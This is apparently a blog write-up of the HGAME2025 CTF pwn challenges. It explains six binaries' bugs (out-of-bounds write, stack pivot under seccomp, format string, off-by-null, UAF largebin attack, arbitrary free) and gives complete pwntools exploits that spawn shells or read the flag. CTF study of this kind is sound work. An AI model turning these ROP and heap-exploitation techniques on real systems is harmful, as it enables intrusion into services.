HGAME2025 pwn方向题解

WEEK1

counting petals

逆向可以看出来,这一段存在一个数组越界

1
2
3
4
5
while ( v9 < v8 )
{
printf("the flower number %d : ", ++v9);
__isoc99_scanf("%ld", &v7[v9 + 1]);
}

先对v8传入16,就可以覆盖v8和v9。这里要注意v8和v9都是int型,只占4个字节,所以要一次性覆盖完,这里我用103079215128(0x18 0000 0018)来覆盖。

之后的输出就会把libc_start_call_main+128的地址输出,计算一下就可以得到libc的基地址了。

(关于libc_start_call_main这个函数的偏移,我们可以在题目提供的./libc.so.6文件里找到。先将./libc.so.6文件放入ida中,然后找到__libc_start_main这个函数,查看它的伪代码,然后就可以找到libc_start_call_main函数的偏移了,如下图)

(图中的sub_29D10即为__libc_start_call_main函数)

之后程序会再有一次输入的机会,再用数组越界打ROP就可以了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(log_level='debug', arch='amd64', os='linux')

#io = process("./vuln")
io = remote("node1.hgame.vidar.club", 30353)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

#gdb.attach(io)

io.sendlineafter(b"How many flowers have you prepared this time?", b'16')
for i in range(15):
io.sendlineafter(b' :', str(i))
io.sendlineafter(b' :', b'103079215128')

io.sendlineafter(b'Reply 1 indicates the former and 2 indicates the latter:', b'0')
io.recvuntil(b'103079215128 +')
io.recvuntil(b'+ 1 +')

libc_start_call_main = int(io.recv(16), 10) - 128
io.recvuntil(b'+ 0 +')

main = int(io.recv(16), 10)
pie_addr = main - 0x12bf
libc_base = libc_start_call_main - 0x29d10

io.recvuntil(b'Wish that this time they love you.')
io.sendlineafter(b"How many flowers have you prepared this time?", b'16')
for i in range(15):
io.sendlineafter(b' :', str(i))

io.sendlineafter(b' :', b'77309411350')

pop_rdi = 0x2a3e5 + libc_base
system = libc.symbols['system'] + libc_base
bin_sh = next(libc.search(b'/bin/sh\x00')) + libc_base
ret = 0x29139 + libc_base

io.sendlineafter(b' :', str(ret))
io.sendlineafter(b' :', str(pop_rdi))
io.sendlineafter(b' :', str(bin_sh))
io.sendlineafter(b' :', str(system))

io.sendlineafter(b'Reply 1 indicates the former and 2 indicates the latter:', b'0')
io.recv()

io.interactive()

ezstack

本题前面的代码实现了一个简单的 TCP 服务器,首先创建并绑定一个监听套接字,监听端口 9999 的客户端连接。接收到连接请求时,服务器会使用 fork(), 创建一个子进程来处理该连接,父进程则继续监听新的连接。

想深入了解的师傅可以看看这篇文章webpwn的一些总结

我们本地调试时,可以先在一个终端上运行这个程序,然后使用nc或者直接在脚本里用io = remote(“0.0.0.0”,9999)。

本题的漏洞在这里:

1
2
3
4
5
6
char buf[80]; // [rsp+10h] [rbp-50h] BYREF

print(a1, "ξ( ✿>◡❛) There is an obvious stack overflow here.\n");
print(a1, "That's all.\n");
print(a1, "Good luck.\n");
return read(a1, buf, 0x60uLL);

可以溢出0x10的大小,显然需要使用栈迁移。

并且本题开启了沙箱,要使用orw:

1
2
3
4
v2 = seccomp_init(0x7FFF0000LL);
seccomp_rule_add(v2, 0LL, 59LL, 0LL);
seccomp_rule_add(v2, 0LL, 322LL, 0LL);
seccomp_load(v2);

那么接下来,我们先将栈迁移到bss上,泄露出libc地址并且返回到vuln函数。之后我的做法是使用ROP的orw,又迁移了三次输出flag。(我的做法复杂了,可以直接使用mprotect写shellcode,就不用反复迁移来迁移去了)

这里还有一个问题,就是本题使用read和write函数时的文件描述符是多少?我们平时做的题大部分都是3,但是这题因为前面使用了socket,文件描述符就被socket调用占用了3,所以我们再打开文件后,分配到的文件描述符应该为4。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import *

context(log_level = 'debug',arch = 'amd64',os = 'linux')
#io = remote("0.0.0.0",9999)
io = remote("node1.hgame.vidar.club",31006)
elf = ELF("./vuln")
libc = ELF("./libc-2.31.so")

leave_ret = 0x4013cb
bss = 0x404130
gift = 0x4040e0
vuln = 0x4013cd

#gdb.attach(io)

io.recvuntil("Good luck.\n")
payload1 = b'a'*80 + p64(bss+36)
io.sendline(payload1)
io.recv()

write_got = elf.got['write']
print_plt = elf.symbols['print']
pop_rsi_r15 = 0x401711
pop_rdi = 0x401713
ret = 0x40101

payload2 = p64(0) + p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(write_got) + p64(0) +p64(print_plt) + p64(vuln)
payload2 = payload2.ljust(0x50,b'\x00')
payload2 += p64(0x404104) + p64(leave_ret)

io.send(payload2)

write_addr = u64(io.recv(12).ljust(8,b'\x00'))

libc_base = write_addr - libc.symbols['write']
op = libc_base + libc.symbols['open']
re = libc_base + libc.symbols['read']
wr = libc_base + libc.symbols['write']
sendfile = libc_base + libc.symbols['sendfile']
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0xdfc12
print(hex(libc_base))


payload3 = p64(0x4040ec) + b'flag'.ljust(8,b'\x00') + p64(pop_rdi) + p64(0x4040f4) + p64(pop_rsi) + p64(0) + p64(op) + p64(pop_rdi) + p64(4) + p64(vuln)
payload3 = payload3.ljust(0x50,b'\x00')
payload3 += p64(0x4040f4) + p64(leave_ret)

io.recvuntil("Good luck.\n")
io.send(payload3)

payload4 = p64(1) + p64(pop_rdi) + p64(5) + p64(pop_rsi) + p64(0x404500) + p64(re) + p64(pop_rdi) + p64(4) + p64(vuln)
payload4 = payload4.ljust(0x50,b'\x00')
payload4 += p64(0x4040e4) + p64(leave_ret)

io.recvuntil("Good luck.\n")
io.send(payload4)

payload5 = p64(1) + p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0x404500) + p64(wr)
payload5 = payload5.ljust(0x50,b'\x00')
payload5 += p64(0x4040d4) + p64(leave_ret)

io.recvuntil("Good luck.\n")
io.send(payload5)
print(io.recv())

io.interactive()

format

这题首先注意到的就是一个可以无数次使用的格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
10
11
printf("you have n chance to getshell\n n = ");
if ( __isoc99_scanf("%d", &v6) <= 0 )
exit(1);
for ( i = 0; i < v6; ++i )
{
printf("type something:");
if ( __isoc99_scanf("%3s", format) <= 0 )
exit(1);
printf("you type: ");
printf(format);
}

但是只能输入三个字符,大概率就只能使用%p来泄露地址了,这里泄露出的是rsi里面的内容,是一个栈上的地址,可以通过动调计算出栈的地址。

接下来的就是一个看上去只能溢出一个字节的栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
  printf("you have n space to getshell(n<5)\n n = ");
__isoc99_scanf("%d\n", &v5);
if ( v5 <= 5 )
vuln(v5);

ssize_t __fastcall vuln(unsigned int a1)
{
char buf[4]; // [rsp+1Ch] [rbp-4h] BYREF

printf("type something:");
return read(0, buf, a1);
}

但由于vuln函数的参数是unsigned int类型,我们可以直接输入-1来无限制的溢出。(但是我一开始没注意到这个溢出,傻傻的用那一个字节的溢出去改rbp的最低一个字节,想劫持到栈上的其他返回地址,结果就是劫持到main函数后,调用printf时由于栈没有16字节对齐,程序崩了。。。又想到把地址放到格式化字符串那里,然后再劫持,结果后面的v5是放到格式化字符串的高位上,没办法正确读到地址。。。)

那么现在,我们有栈上地址和一个无限的溢出了,还差一个libc的地址。

这里我是使用了%*d这个格式化字符串来泄露出_IO_2_1_stdin_的地址。
(这个方法的详细解释可以参考这个文章:[一种关于格式化字符串的新利用](https://www.cnblogs.com/viol1t-cheny/articles/18547503#exp)

简单来说,在%*d中,*代表第二个参数,控制输出的宽度,这个参数在调用约定中所使用的寄存器是rsi,而此时rsi是一个很大的值,会填满缓冲区,之后再输入%s,就会输出栈上的内容。这里我得到的就是stdin的地址了。

但其实不太建议使用这个方法,因为往往rsi都是一个非常大数,会接收到很多的数据,导致在打远程时可能需要很长时间(我自己打的时候跑一次远程大概要半个小时。。。)

这里还要注意,libc的最高位不一定都是0x7f,可能是其他的例如0x78,0x76等,我之前一直认为libc最高位都是0x7f。(感谢1SEz师傅的提醒)

之后再利用那个无限的栈溢出,就可以直接打ROP来getshell了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(log_level = 'debug')

#io = process("./vuln")
io = remote("146.56.227.88",32438)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

#gdb.attach(io)

io.sendlineafter(b'n =',str(3))
io.sendlineafter(b'type something:',b'%p')
io.recvuntil('you type:')

rsi = int(io.recv(15),16)

rsp = rsi + 0x2120
print(hex(rsp))
main = rsp + 0x28
print(hex(main))
stack_addr = main - 0x38
print(stack_addr)
vuln = 0x4011b6

io.sendlineafter(b'type something:',b'%*d')
io.recv()

io.sendlineafter(b'type something:',b'%s')
io.recvuntil(b'\xa0')
data = b'\xa0' + io.recv(5)
addr = u64(data.ljust(8, b'\x00'))
print(hex(addr))

libc_base = addr - libc.symbols['_IO_2_1_stdin_']
print(hex(libc_base))

system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc_base + 0x2a3e5
ret = 0x40101a
print("system:" + hex(system))
print("/bin/sh:" + hex(bin_sh))
print("pop_rdi:" + hex(pop_rdi))

payload1 = b'aaaa' + p64(stack_addr) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendlineafter(b'n =',b'-1\n5' + payload1)
io.recv()

io.interactive()

WEEK2

signin2heap

逆向分析找到仅有一个漏洞点在:

1
2
size_4 = read(0, *(&books + v2), size);
*(*(&books + v2) + size_4) = 0;

看出这是一个off-by-null的漏洞。这题的libc版本为2.27,存在tcache,并且这题是2.27后期的版本,tcache中是有key的,所以我们不能直接通过double free来造成任意地址写,需要打两次off-by-null。

第一次off-by-null用来泄露出libc的地址。
第二次off-by-null通过堆块重叠来打tcache poisoning,将free_hook改为system。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

context(log_level = 'debug')

io = process("./vuln")
io = remote('node1.hgame.vidar.club',30729)
elf = ELF("./vuln")
libc = ELF("./libc-2.27.so")


def add(index,size,content):
io.sendlineafter(b'Your choice:',p32(1))
io.sendlineafter(b'Index:',str(index))
io.sendlineafter(b'Size:',str(size))
io.sendafter(b'Content:',content)

def dele(index):
io.sendlineafter(b'Your choice:',p32(2))
io.sendlineafter(b'Index:',str(index))

def show(index):
io.sendlineafter(b'Your choice:',p32(3))
io.sendlineafter(b'Index:',str(index))

#gdb.attach(io)

for i in range(7):
add(i,0xf8,b'aaaaaaaa')

add(7,0xf8,b'bbbbbbbb')
add(8,0x98,b'bbbbbbbb')
add(9,0xf8,b'bbbbbbbb')
add(10,0xf8,b'zzzzzzzz')

for i in range(7):
dele(i)
dele(7)
dele(8)

payload1 = b'a'* 0x90 + p64(0x1a0)
add(8,0x98,payload1)
dele(9)

for i in range(7):
add(i,0xf8,b'aaaaaaaa')

add(7,0xf8,b'bbbbbbbb')

show(8)
io.recv()
main_arena = u64(io.recv(6).ljust(8,b'\x00')) - 96
libc_base = main_arena - 0x3ebc40
print(hex(main_arena))
print(hex(libc_base))

free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

add(13,0x80,b'gggggggg')
add(14,0x80,b'gggggggg')
add(15,0x70,b'gggggggg')

dele(10)
add(9,0xf8,b'aaaaaaaa')
add(10,0x38,b'aaaaaaaa')
add(11,0xf8,b'aaaaaaaa')
add(12,0x20,b'/bin/sh\x00')

for i in range(7):
dele(i)
dele(9)
dele(10)

payload2 = b'a'*0x30 + p64(0x140)
add(10,0x38,payload2)
dele(11)

for i in range(7):
dele(i)
dele(10)

payload3 = p64(0)*2 + p64(0x100) + p64(0x40) + p64(free_hook)
add(0,0xd0,b'aaaaaaaa')
add(1,0xe0,payload3)
add(2,0x38,b'llllllll')

payload4 = p64(system)
add(3,0x38,payload4)
dele(12)

io.interactive()

Where_is_the_vulnerability

本题的四个增删查改的函数是使用动态链接库实现的,所以本地动调改libc时要记得把题目给的libhgame.so文件也加上。

逆向后发现delete函数存在uaf漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 <= 0xF )
{
if ( notes[v1] )
free(notes[v1]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}

并且本题开了沙箱:

1
2
3
4
5
6
7
8
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0005
0002: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0005
0003: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x06 0x00 0x00 0x00000000 return KILL

需要使用orw。

add函数只能申请到largebin,想到打largbin attack,并且本题libc版本为2.39,只能改bk_nextsize。

之后就是十分模板的house of的利用了。

官方给出的的wp是house of apple+mprotect,十分简洁优雅。相比之下我打的house of cat+ROP就有点复杂了。

我的wp里需要注意一点,由于使用的是ROP的orw,需要控制到rdi,rsi,rdx这三个寄存器,但是本题的libc.so.6库里没有直接的
pop rdx ; ret;
只有
pop rdx ; ret 0x19
所以要在后面加上一个
ret 7;
来调栈,就像这样
p64(pop_rdx) + p64(0x60) + p64(ret_7) + p64(0)*3 + b'0' + p64(read)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *

context(log_level = 'debug')

#io = process("./vuln")
io = remote("node1.hgame.vidar.club",30758)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

def add(index,size):
io.sendlineafter(b'>',b'1')
io.sendlineafter(b'Index:',str(index))
io.sendlineafter(b'Size:',str(size))

def dele(index):
io.sendlineafter(b'>',b'2')
io.sendlineafter(b'Index:',str(index))

def show(index):
io.sendlineafter(b'>',b'4')
io.sendlineafter(b'Index:',str(index))

def edit(index,content):
io.sendlineafter(b'>',b'3')
io.sendlineafter(b'Index',str(index))
io.sendafter(b'Content:',content)

#gdb.attach(io)

add(0,0x528)
add(1,0x508)
add(2,0x518)
add(3,0x500)
dele(0)
add(4,0x538)
dele(2)

#pause()

show(0)
print(io.recv())

main_arena = u64(io.recv(6).ljust(8,b'\x00')) - 0x490
libc_base = main_arena - 0x203AC0
print("liba_base:" + hex(libc_base))

edit(0,b'a'*0x10)

show(0)
io.recvuntil(b'a'*0x10)
heap_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x290
print("heap_addr:" + hex(heap_addr))

IO_list_all = libc_base + libc.symbols['_IO_list_all']

payload1 = p64(0)*2 + p64(0) + p64(IO_list_all - 0x20)
edit(0,payload1)

add(5,0x538)
#pause()

io.sendlineafter(b'>',b'3')
io.sendlineafter(b'Index',b'1')
payload = b'flag'.ljust(8,b'\x00')
io.sendlineafter(b'Content:',payload)
#edit(1,b'a'*0x500 + b'flag'.ljust(8,b'\x00'))

_IO_wfile_jumps = libc_base+ libc.symbols['_IO_wfile_jumps']

system = libc_base + libc.symbols['system']
op = libc_base + libc.symbols['open']
re = libc_base + libc.symbols['read']
wr = libc_base + libc.symbols['write']
puts = libc_base + libc.symbols['puts']
pop_rdi = 0x10f75b + libc_base
pop_rsi = 0x110a4d + libc_base
pop_rdx = 0x66b9a + libc_base
ret = 0x2882f + libc_base
ret_7 = 0x380b7 + libc_base
setcontext = libc_base + libc.symbols['setcontext']
fake_io_addr = heap_addr + 0xcd0
fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(0) #_IO_buf_end
fake_struct += p64(1) #_IO_save_base
fake_struct += p64(fake_io_addr + 0xb0) #_IO_backup_base = rdx
fake_struct += p64(setcontext + 61) #_IO_save_end = call_addr
fake_struct += p64(0xffffffffffffff) #_markers
fake_struct += p64(0) #_chain
fake_struct += p64(0) #_fileno
fake_struct += p64(0) #_old_offset
fake_struct += p64(0) #_cur_column
fake_struct += p64(heap_addr + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data rax1
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(1) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps + 0x30) #vtable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40) #rax2 -> to make [rax+0x18] = setcontext + 61

fake_struct = fake_struct.ljust(0x118,b'\x00') + p64(fake_io_addr + 0x128 + 0x28) + p64(ret) + p64(0x60)*3 + p64(fake_io_addr + 0x128 + 0x28)
fake_struct += p64(pop_rdi) + p64(heap_addr+0xcd0 - 0x500) + p64(op)
fake_struct += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x330) + p64(pop_rdx) + p64(0x60) + p64(ret_7) + p64(0)*3 + b'0' + p64(re) + b'0000000'
fake_struct += p64(pop_rdi) + p64(heap_addr + 0x330) + p64(puts)

edit(2,fake_struct)
io.sendlineafter(b'>',b'5')

io.interactive()

Hit list

本题也是有增删查改四个功能的模板题,实现了一个单链表。做题的时候画了一个草图(有点难看请见谅

对程序分析可以看出,每次调用add函数都会分配两个堆块,一个大小固定为0x20(我们叫它info块),另一个大小我们可以控制(我们叫它data块),但是最大只能有0x3f0 ,也就是说不能直接分配得到一个largebin。

接下来我们注意到,在edit函数中,每次我们调用时,都会先将数据块先free掉,再重新malloc一个。

最后在sub_13F3这个函数中,发现当我们malloc分配失败时,会调用gift函数,在这个函数中,我们有且仅有一次机会可以任意地址free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 gift()
{
void *ptr[2]; // [rsp+0h] [rbp-10h] BYREF

ptr[1] = __readfsqword(0x28u);
if ( !dword_4064 )
{
putchar('>');
__isoc99_scanf("%p", ptr);
free(ptr[0]);
++dword_4064;
}
return 0LL;
}

想要进入这个分支也很简单,传入一个负数就好了。

逆向分析完之后,我们就该想想怎么打这题了。

这题libc版本为2.35,无沙箱,漏洞点仅在gift函数的一次任意地址free里。
那么首先,我们应该先想办法泄露libc和heap的地址。

heap的地址可以通过tcache泄露出来,但是libc2.32加入了指针保护,即将fd指针地址右移12位再与fd指针本身异或。
一般来说,如果tcachebin链表中只有一个chunk时,只需直接将fd << 12即可得到heap的基址。

这题因为info块里存着下一个堆块的地址,我就直接使用堆风水来泄露heap的地址了。就是将一个free后的info块,让它以data块的身份被申请出来,就可以直接泄露出heap的地址了。

有了heap的地址,现在还剩libc的地址。泄露libc地址常用的方式是利用largebin和unsortedbin。

这题largebin不太好弄,只能使用unsortedbin。但是unsortedbin也不好直接使用,首先因为存在tcache,程序取堆块会先从tcache里取,tcache空后也会先将unsortedbin里的堆块放入tcache中,再取出,这样会导致fd和bk指针被清空从而无法泄露libc地址。

所以我们就想到利用consolidate(关于这个机制可以看看这篇文章:堆漏洞挖掘中的malloc_consolidate与FASTBIN_CONSOLIDATION_THRESHOLD

为了利用这个机制,我们需要一个可以切割的unsortedbin。这个时候,我们想到了edit这个函数,它会先free掉data块,再重新malloc一个块。那么我们可以edit一个堆块,让它的data块的大小和之前不同,就可以在后面重新得到一个data块。之后再edit另一个堆块,我们就可以得到两个相邻的大堆块了,然后free掉这两个堆块,再add时,这两个堆块会合并,加入到unsortedbin里,然后就可以进行分割,从而泄露出libc地址了。

之后就是任意地址free,利用tcache poisoning打house of obstack了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *

context(log_level = 'debug')

#io = process("./vuln")
io = remote("node1.hgame.vidar.club",30436)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")

def add(number,name,size,content):
io.sendlineafter(b'>',b'1')
io.sendlineafter(b'>',str(number))
io.sendlineafter(b'>',name)
io.sendlineafter(b'>',str(size))
io.sendafter(b'>',content)

def dele(index):
io.sendlineafter(b'>',b'2')
io.sendlineafter(b'>',str(index))

def edit(index,number,name,size,content):
io.sendlineafter(b'>',b'3')
io.sendlineafter(b'>',str(index))
io.sendlineafter(b'>',str(number))
io.sendlineafter(b'>',name)
io.sendlineafter(b'>',str(size))
io.sendafter(b'>',content)

def show(index):
io.sendlineafter(b'>',b'4')
io.sendlineafter(b'>',str(index))

#gdb.attach(io)

payload = p64(0)*3 + p64(0) + p64(0x101)
add(12345678,b'aaaaaaaa',0x80,payload)
add(12345678,b'aaaaaaaa',0x90,b'why') #0
add(12345678,b'zzzzzzzz',0x80,b'asdadad')

dele(0)
dele(1)

add(555555,b'a'*0x8,0x20,b'b'*0x10) #1

show(1)
io.recvuntil(b'b'*0x10)
heap_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x2d0
print(hex(heap_addr))

add(12345678,b'aaaaaaaa',0x380,b'a') #2
add(12345678,b'aaaaaaaa',0x380,b'a') #3

for i in range(7):
add(12345678,b'aaaaaaaa',0x3a0,b'a')

#pause()

edit(2,12345678,b'0',0x3a0,b'a')
edit(3,12345678,b'0',0x3a0,b'a')
add(12345678,b'aaaaaaaa',0x20,b'z')

for i in range(7):
dele(10-i)
dele(2)
dele(2)
add(12345678,b'a',0x200,b'\xe0')
show(3)

io.recvuntil(b'Information: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 1376 - 0x21AC80
print(hex(libc_base))
print(hex(heap_addr))

add(12345678,b'aaaaaaaa',0x20,b'z')
add(12345678,b'aaaaaaaa',0x20,b'z')

system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
_IO_obstack_jumps = libc_base + 0x2173c0

payload5 = flat(
{
0x18:1,
0x20:0,
0x28:1,
0x30:0,
0x38:p64(system),
0x48:p64(bin_sh),
0x50:1,
0xd8:p64(_IO_obstack_jumps+0x20),
0xe0:p64(heap_addr + 0x2990 + 0x10 + 0x8),
},
filler = '\x00'
)

add(12345678,b'aaaaaaaa',0x3f0,payload5)

for i in range(2):
dele(0)

io.sendlineafter(b'>',b'1')
io.sendlineafter(b'>',str(123))
io.sendlineafter(b'>',b'b')
io.sendlineafter(b'>',str(-9))

payload1 = heap_addr + 0x300
payload1 = hex(payload1).encode()

io.recvuntil(b'>')
print(payload1)
io.sendline(payload1)

IO_list_all = libc_base + libc.symbols['_IO_list_all'] - 0x10
fd = (heap_addr >> 12) ^ IO_list_all
payload2 = p64(0)*10 + p64(0x31) + p64(fd)
add(12345678,b'aaaaaaaa',0xf0,payload2)
add(12345678,p64(heap_addr),0x20,p64(heap_addr) + p64(heap_addr + 0x2990 + 0x10 + 0x8))

io.sendlineafter(b'>',b'5')

io.interactive()

HGAME2025 pwn方向题解
http://whi4ed0g.xyz/2025/02/25/HGAME2025-pwn方向题解/
作者
whi4ed0g
发布于
2025年2月25日
许可协议